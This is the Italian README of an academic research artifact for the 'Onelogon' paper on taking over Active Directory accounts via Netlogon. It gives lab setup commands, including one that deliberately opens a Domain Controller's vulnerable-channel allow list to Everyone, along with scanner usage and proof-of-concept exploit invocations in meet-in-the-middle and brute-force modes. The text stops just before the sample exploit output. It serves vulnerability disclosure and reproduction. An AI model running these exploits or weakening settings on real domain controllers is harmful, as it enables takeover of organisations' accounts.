
Codice e dati per il nostro articolo "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
Questo repository contiene il codice e i dati che accompagnano il nostro articolo Onelogon: Compromissione degli account Active Directory tramite Netlogon (WOOT'26).
La vulnerabilità descritta nel nostro articolo attacca una debolezza della patch crittografica del 2020 per la vulnerabilità Zerologon. Gli account elencati in un criterio di gruppo inteso a consentire il supporto a configurazioni legacy che non supportano la firma e la sigillatura (signing and sealing) di Netlogon sono vulnerabili a questo attacco. Una descrizione dettagliata della vulnerabilità, della catena d'attacco completa prevista e delle possibili mitigazioni è disponibile nell'articolo.
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
L'artefatto consiste in un progetto Python poetry per lo scanner e gli exploit.
Per eseguire gli script forniti con l'artefatto, installare Python (3.12 o successivo) e uno tra poetry (istruzioni) oppure uv (istruzioni). Per semplicità, riportiamo i comandi assumendo che tu stia usando poetry; se scegli di usare uv, sostituisci semplicemente ogni occorrenza di poetry con uv.
Tutti i comandi di questo documento vanno eseguiti nella directory principale dell'artefatto (dove si trova questo README).
Se usi poetry, esegui poetry install per installare tutte le dipendenze.
Per riprodurre i risultati dell'articolo, puoi configurare un Domain Controller (controllore di dominio) usando una versione di Windows Server con Zerologon corretto (abbiamo verificato l'exploit sia sulle versioni 2019 che 2025).
Per configurare il Domain Controller su una nuova installazione di Windows Server 2025, esegui i seguenti comandi:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
La vulnerabilità si applica a qualsiasi account elencato nel DACL dell'oggetto Criteri di gruppo Domain Controller: Allow vulnerable Netlogon secure channel connections o nella corrispondente chiave di registro:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
Puoi configurare manualmente questi parametri sul Domain Controller (ricorda di eseguire gpupdate /force se aggiorni la voce GPO), oppure eseguire il comando seguente per aggiungere tutti gli account al DACL nella chiave di registro:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
Per determinare quali account un Domain Controller elenca nel suo VulnerableChannelAllowList, forniamo uno scanner che analizza l'hive del registro e la condivisione del volume GPO del Domain Controller.
Nota: accedere al registro per questa scansione richiede privilegi di amministratore di dominio (l'exploit, ovviamente, non li richiede).
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
Un risultato di scansione positivo (ci sono account vulnerabili sul Domain Controller) mostrerà il descrittore di sicurezza contenente gli account vulnerabili (nel linguaggio di definizione dei descrittori di sicurezza di Microsoft):
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
Un risultato negativo (il DC target non è vulnerabile) apparirà invece così:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
Per eseguire l'exploit proof-of-concept contro un Domain Controller target, seleziona prima un account vulnerabile. Ti serviranno l'indirizzo IP del Domain Controller, il suo nome host e il nome dell'account vulnerabile.
Nella nostra configurazione di esempio, il Domain Controller vulnerabile si chiama DC.
Il suo account macchina (DC$) è incluso nei criteri GPO e quindi è vulnerabile a Onelogon.
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
A titolo illustrativo, forniamo l'output di una esecuzione riuscita dell'attacco meet-in-the-middle contro un ambiente di test: